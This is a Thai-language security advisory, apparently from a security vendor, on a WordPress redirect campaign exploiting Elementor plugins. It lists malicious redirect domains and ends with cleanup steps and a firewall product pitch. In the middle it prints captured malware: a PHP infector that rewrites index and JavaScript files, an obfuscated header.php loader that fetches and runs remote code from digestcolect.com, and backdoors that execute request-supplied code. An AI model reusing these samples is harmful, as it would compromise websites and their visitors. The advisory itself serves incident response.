การโจมตีที่กำหนดเป้าหมายช่องโหว่ในธีมและปลั๊กอินของ WordPress นั้นรุนแรงขึ้นในช่วงไม่กี่เดือนที่ผ่านมา แคมเปญโจมตีต่อเนื่องบนปลั๊กอิน WordPress – Elementor Pro, The Ultimate Addons ของ Elementor &Astra Theme ดูเหมือนจะเปลี่ยนไปด้วยแคมเปญแฮ็คการเปลี่ยนเส้นทางซึ่งเปลี่ยนเส้นทางผู้ใช้ไปยังเว็บไซต์ที่น่าสงสัยเช่น
- digestcolect [.] com,
- js[.]donatelloflowfirstly.ga,
- track[.]developfirstline[.]com/t.js?s=5,
- deliverynotforme[.]best,
- 0.beerockstars[.]ga/?p=me3gmnbugm5gi3bpgq3tknq&sub2=mtrolley83,
- 0.directedmyfounds[.]ga/?p=gi3tazrwga5gi3bpgizdgmq&sub2=mstimens3,
- well.linetoadsactive[.]com/m.js?n=nb5,
- 0.realhelpcompany[.]ga,
- fast.helpmart[.]ga/m[.]js?w=085,
- dock.lovegreenpencils[.]ga/m.js?n=nb5,
- cht.secondaryinformtrand[.]com/m.js?n=nb5,
- main.travelfornamewalking[.]ga/,
- irc.lovegreenpencils[.]ga/ ฯลฯ
ทั้ง Elementor และ Ultimate Addons สำหรับ Elementor ได้ออกการอัปเดตเพื่อแก้ไขปัญหาด้านความปลอดภัยเหล่านี้ ดังนั้นโปรดอัปเดตเป็นเวอร์ชันต่อไปนี้หากยังไม่ได้ดำเนินการ:
- Elementor Pro: 2.9.4
- ส่วนเสริมขั้นสูงสุดสำหรับ Elementor: 1.24.2
แฮ็คที่เกี่ยวข้อง – เรายังเห็นเว็บไซต์ WordPress เปลี่ยนเส้นทางเพื่อติดตาม developmentfirstline[.com]/t.js?s=5′ type=’text/javascript
สิ่งที่เรารู้จนถึงตอนนี้…
อาการทั่วไปอย่างหนึ่งที่แสดงโดยเว็บไซต์ที่ได้รับผลกระทบคือ – การเปลี่ยนเส้นทาง
ที่กล่าวว่ามีอาการอื่นๆ เช่นกันที่บ่งบอกถึงการโจมตี:
- ไฟล์ที่ไม่มีความหมายถูกเพิ่มในไดเร็กทอรีรากของเว็บไซต์
- เพิ่มผู้ใช้ผู้ดูแลระบบที่ไม่ได้รับอนุญาตในพื้นที่ผู้ดูแลระบบ WordPress
- ไฟล์และโฟลเดอร์ที่ไม่รู้จักใน /wp-content/uploads/elementor/custom-icons/
- ไฟล์ที่ไม่รู้จักในรูทเว็บไซต์ เช่น
wp-xmlrpc.phpwp-cl-plugin.php
- ไฟล์จาวาสคริปต์และ PHP ที่เป็นอันตรายที่ไม่รู้จักนับพันถูกเพิ่มลงในระบบไฟล์
สิ่งที่เป็นอันตราย 'tap.digestcolect.com/r. php?id=0 spam/' รหัสการเปลี่ยนเส้นทางเว็บไซต์มีลักษณะอย่างไร
- พบรหัสต่อไปนี้ภายใต้ไฟล์ชื่อ 'hjghjerg ':
<?php $lastRunLog = "./debugs.log";
if (file_exists($lastRunLog)) {
$lastRun = file_get_contents($lastRunLog);
if (time() - $lastRun >= 6400) {
search_file($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../","index");
search_file_js($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../",".js");
file_put_contents($lastRunLog, time());
}
} else {
search_file($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../","index");
search_file_js($_SERVER['DOCUMENT_ROOT']."/../../../../../../../../",".js");
file_put_contents( './debugs.log', time());
}
function search_file($dir,$file_to_search){
$files = @scandir($dir);
if($files == false) {
$dir = substr($dir, 0, -3);
if (strpos($dir, '../') !== false) {
@search_file( $dir,"index");
return;
}
if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
@search_file( $dir,"index");
return;
}
}
...
function search_file_js($dir,$file_to_search){
$files = @scandir($dir);
if($files == false) {
$dir = substr($dir, 0, -3);
if (strpos($dir, '../') !== false) {
@search_file_js( $dir,".js");
return;
}
if($dir == $_SERVER['DOCUMENT_ROOT']."/") {
@search_file_js( $dir,".js");
return;
}
}
foreach($files as $key => $value){
$path = realpath($dir.DIRECTORY_SEPARATOR.$value);
if(!is_dir($path)) {
if (strpos($value,$file_to_search) !== false && (strpos($value,".js") !== false)) {
make_it_js($path);
} }else if($value != "." && $value != "..") {
search_file_js($path, $file_to_search);
}
}
}
function make_it_js($f){
$g = file_get_contents($f);
if (strpos($g, 'var') !== false) {
$g = file_get_contents($f);
if (strpos($g, 'mndfhghjf') !== false) {
} else {
$l2 = "";
$g = file_get_contents($f);
$g = $l2.$g;
@system('chmod 777 '.$f);
@file_put_contents($f,$g);
$g = file_get_contents($f);
if (strpos($g, 'mndfhghjf') !== false) {
}
}
}
}
function make_it($f){
$g = file_get_contents($f);
if (strpos($g, 'trackstatisticsss') !== false) {
} else {
$l2 = "";
$g = $l2.$g;
@system('chmod 777 '.$f);
@file_put_contents($f,$g);
$g = file_get_contents($f);
if (strpos($g, 'trackstatisticsss') !== false) {
}
}
}
- พบโค้ดชิ้นนี้ในไฟล์ header.php:
<?php $c = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99)."ode";
$d = chr(102).chr(105).chr(108)."e".chr(95)."get".chr(95)."con".chr(116).chr(101).chr(110).chr(116).chr(115);
$b = $c($d(chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(99).chr(115).chr(115).chr(46).chr(100).chr(105).chr(103).chr(101).chr(115).chr(116).chr(99).chr(111).chr(108).chr(101).chr(99).chr(116).chr(46).chr(99).chr(111).chr(109).chr(47).chr(109).chr(46).chr(116).chr(120).chr(116)));
$c1 = chr(104);
@file_put_contents($c1,chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).$b);@include($c1);@unlink($c1); ?><?php if(isset($_REQUEST[chr(97).chr(115).chr(97).chr(118).chr(115).chr(100).chr(118).chr(100).chr(115)]) && md5($_REQUEST[chr(108).chr(103).chr(107).chr(102).chr(103).chr(104).chr(100).chr(102).chr(104)]) == chr(101).chr(57).chr(55).chr(56).chr(55).chr(97).chr(100).chr(99).chr(53).chr(50).chr(55).chr(49).chr(99).chr(98).chr(48).chr(102).chr(55).chr(54).chr(53).chr(50).chr(57).chr(52).chr(53).chr(48).chr(51).chr(100).
..
chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115);$b1 = chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$b2 = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).$b1; $z1 = chr(60).chr(63).chr(112).chr(104).chr(112).chr(32); $z2 = $z1.$b2($_REQUEST[chr(100).chr(49)]); $z3 = $b2($_REQUEST[chr(100).chr(49)]); @$n3($a,$z2); @include($a);@unlink($a); $a = chr(47).chr(116).chr(109).chr(112).chr(47).$a; @$n3($a,$z2); @include($a);@unlink($a);die(); } ?><?php if(isset($_GET[5]) && md5($_GET[5]) == "37147ec1ab66861d6e2ef8f672cb2c0b") {function _1896550334($i){$a=Array("jweyc","aeskoly","owhggiku","callbrhy","H*","");return $a[$i];} function l__0($_0){return isset($_COOKIE[$_0])?$_COOKIE[$_0]:@$_POST[$_0];if(3404<mt_rand(443,2956))session_get_cookie_params($_COOKIE,$_0,$_POST,$_0);}$_1=l__0(_1896550334(0)) .l__0(_1896550334(1)) .l__0(_1896550334(2)) .l__0(_1896550334(3));if(!empty($_1)){$_1=str_rot13(@pack(_1896550334(4),strrev($_1)));if(isset($_1)){$_2=create_function(_1896550334(5),$_1);$_2();exit();}}else{echo base64_decode("bG9jYWwtZXJyb3Itbm90LWZvdW5k");}die();} ?><script src='https://css.digestcolect.com/g.js?v=1.0.0' type='text/javascript'></script>?><script src='https://css.digestcolect.com/g.js?v=1.0.0' type='text/javascript'></script>
- พบรหัสนี้ในไฟล์ธีมหลักบางไฟล์:
<script type='text/javascript' src='https://js.digestcolect.com/g.js?v=18'></script><script type='text/javascript' src='https://js.digestcolect.com/g.js?v=18'></script>
จะแก้ไข Digestcolect [.] com Redirect ได้อย่างไร
หากเว็บไซต์ของคุณเปลี่ยนเส้นทางหรือแสดงอาการอื่นๆ ของการแฮ็ก คุณสามารถเร่งการตอบสนองต่อเหตุการณ์ได้โดยทำดังนี้:
- เริ่มต้นด้วยการตรวจสอบไฟล์โปรดที่ดึงดูดแฮกเกอร์ เช่น functions.php, wp-config.php &index.php
- เปรียบเทียบไฟล์ WordPress หลักกับไฟล์บนเซิร์ฟเวอร์ของคุณเพื่อตรวจสอบว่าแฮกเกอร์อาจมีไฟล์หลักที่ติดไวรัสหรือไม่
- สแกนเว็บไซต์ของคุณด้วยเครื่องสแกนมัลแวร์ออนไลน์
- ตรวจสอบฐานข้อมูลสำหรับผู้ดูแลระบบและผู้ใช้ที่ไม่คุ้นเคย
- ตรวจสอบไดเรกทอรีรากของคุณเพื่อหาไฟล์ที่ไม่มีความหมาย
คุณสามารถปฏิบัติตามคู่มือการลบการเปลี่ยนเส้นทาง WordPress สำหรับการกำจัดมัลแวร์อย่างละเอียดยิ่งขึ้น หรือทำตามบทแนะนำทีละขั้นตอนนี้
หากการเปลี่ยนเส้นทางยังคงอยู่ อาจเป็นไปได้ว่าแฮ็กเกอร์อาจแทรกแบ็คดอร์บนเว็บไซต์ของคุณ โดยปกติแล้วจะต้องมีการสแกนมัลแวร์ในเชิงลึกพร้อมการตรวจสอบโค้ดเพื่อทำความสะอาดเว็บไซต์
โปรดดู:คู่มือการกำจัดมัลแวร์ WordPress ทีละขั้นตอน
ถ้าไม่ติดไวรัส? รักษาความปลอดภัยเว็บไซต์ของคุณ
โชคดีที่คุณหลบเลี่ยงการเอารัดเอาเปรียบ แต่อย่าเล่นตามโอกาส ตอนนี้การรักษาความปลอดภัยของเว็บไซต์ของคุณจะดีกว่า ไฟร์วอลล์ระดับพรีเมียมอย่าง Astra Security ช่วยให้เว็บไซต์ของคุณปลอดภัยด้วยการตรวจสอบและป้องกันตลอด 24 ชั่วโมงทุกวันจากการโจมตี เช่น JS injection, SQLi, CSRF, XSS, Bad bots, RFI, LFI และอื่นๆ อีกหลายร้อยตัว
ด้วยเครื่องมือรักษาความปลอดภัยเพิ่มเติมมากมาย เช่น Malware Scanner, Country Blocking, IP blocking, Astra security ที่เป็นทางเลือกสำหรับธุรกิจและบล็อกต่างๆ